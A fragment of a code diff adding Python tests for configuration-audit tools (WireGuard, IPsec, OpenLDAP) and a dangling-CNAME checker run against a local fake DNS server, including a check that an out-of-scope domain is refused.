b"".join(answers)) + sock.sendto(resp, addr) + + threading.Thread(target=loop, daemon=True).start() + return sock, port, stop + + +cname_sock, cname_port, cname_stop = dns_cname_agent() + +cfg12_home = tempfile.mkdtemp(prefix="apex-cfg12-home-") +write_scope(cfg12_home, {"label": "cfg12", "expires": "2099-12-31T23:59:59Z", + "allow_private": True, "allow_ip": ["127.0.0.1"], + "allow_domain": ["dangling.test", "valid.test", + "chain.test", "plain.test"], + "allow_port": [str(cname_port)]}) +res, _ = run([ + call(1, "wireguard_config_audit", root=wg_root), + call(2, "wireguard_config_audit", root=wg_good_root), + call(3, "ipsec_config_audit", root=ip_root), + call(4, "ipsec_config_audit", root=ip_good_root), + call(5, "openldap_config_audit", root=ldap_root), + call(6, "openldap_config_audit", root=ldap_good_root), + call(7, "dns_dangling_cname", domain="dangling.test", + resolver="127.0.0.1", port=cname_port), + call(8, "dns_dangling_cname", domain="valid.test", + resolver="127.0.0.1", port=cname_port), + call(9, "dns_dangling_cname", domain="chain.test", + resolver="127.0.0.1", port=cname_port), + call(10, "dns_dangling_cname", domain="plain.test", + resolver="127.0.0.1", port=cname_port), + call(11, "wireguard_config_audit", root="/nonexistent-wg"), + call(12, "ipsec_config_audit", root="/nonexistent-ip"), + call(13, "openldap_config_audit", root="/nonexistent-ldap"), + call(14, "dns_dangling_cname", domain="evil.test"), +], home=cfg12_home) +by_id = {r.get("id"): r for r in res} +wg = json.loads(text(by_id[1])) +wg_kinds = {f["id"] for f in wg["findings"]} +check("wireguard_config_audit flags perms, routes and hooks", + {"world-writable", "key-readable", "no-listen-port", "default-route", + "shell-hook"} <= wg_kinds, wg) +wg_good = json.loads(text(by_id[2])) +check("wireguard_config_audit accepts a hardened config", + wg_good["findings_count"] == 0 and wg_good["files"] == 1, wg_good) +ip = json.loads(text(by_id[3])) +ip_kinds = {f["id"] for f in ip["findings"]} +check("ipsec_config_audit flags subnets, PSK and secret perms", + {"world-writable", "broad-subnet", "psk-auth", "no-leftid", + "readable-secrets"} <= ip_kinds, ip) +ip_good = json.loads(text(by_id[4])) +check("ipsec_config_audit accepts a hardened config", + ip_good["findings_count"] == 0 and ip_good["ipsec_conf"] is True and + ip_good["ipsec_secrets"] is True, ip_good) +ldap = json.loads(text(by_id[5])) +ldap_kinds = {f["id"] for f in ldap["findings"]} +check("openldap_config_audit flags rootpw, anon bind and access", + {"world-writable", "cleartext-rootpw", "anonymous-bind", + "default-read"} <= ldap_kinds and ldap["cleartext_rootpw"] is True, + ldap) +ldap_good = json.loads(text(by_id[6])) +check("openldap_config_audit accepts a hardened config", + ldap_good["findings_count"] == 0 and + ldap_good["cleartext_rootpw"] is False, ldap_good) +dangling = json.loads(text(by_id[7])) +check("dns_dangling_cname flags a chain that ends in NXDOMAIN", + dangling["dangling"] is True and + dangling["chain"] == ["dangling.test", "gone.dangling.test"] and + dangling["final_target"] == "gone.dangling.test" and + dangling["final_status"] == "NXDOMAIN", dangling) +valid = json.loads(text(by_id[8])) +check("dns_dangling_cname accepts a resolvable CNAME", + valid["dangling"] is False and + valid["chain"] == ["valid.test", "www.valid.test"] and + "127.0.0.1" in valid["addresses"], valid) +chain = json.loads(text(by_id[9])) +check("dns_dangling_cname follows a multi-hop chain", + chain["dangling"] is False and + chain["chain"] == ["chain.test", "mid.chain.test", + "end.chain.test"] and + chain["final_target"] == "end.chain.test", chain) +plain = json.loads(text(by_id[10])) +check("dns_dangling_cname reports a name without a CNAME", + plain["dangling"] is False and plain["chain"] == ["plain.test"] and + "127.0.0.1" in plain["addresses"], plain) +check("wireguard_config_audit reports a missing directory", err(by_id[11]), + text(by_id[11])) +check("ipsec_config_audit reports a missing config", err(by_id[12]), + text(by_id[12])) +check("openldap_config_audit reports a missing config", err(by_id[13]), + text(by_id[13])) +check("dns_dangling_cname refuses an out-of-scope domain", err(by_id[14]), + text(by_id[14])) +cname_stop.set() +cname_sock.close() +shutil.rmtree(wg_root, ignore_errors=True) +shutil.rmtree(wg_good_root, ignore_errors=True) +shutil.rmtree(ip_root, ignore_errors=True) +shutil.rmtree(ip_good_root, ignore_errors=True) +shutil.rmtree(ldap_root, ignore_errors=True) +shutil.rmtree(ldap_good_root, ignore_errors=True) +shutil.rmtree(cfg12_home, ignore_errors=True) + print("\n== esp32 tools ==") + esp_home = tempfile.mkdtemp(prefix="apex-esp-") write_scope(esp_home, {"label": "esp", "expires": "2099-12-31T23:59:59Z"}) esp_m, esp_s = pty.openpty()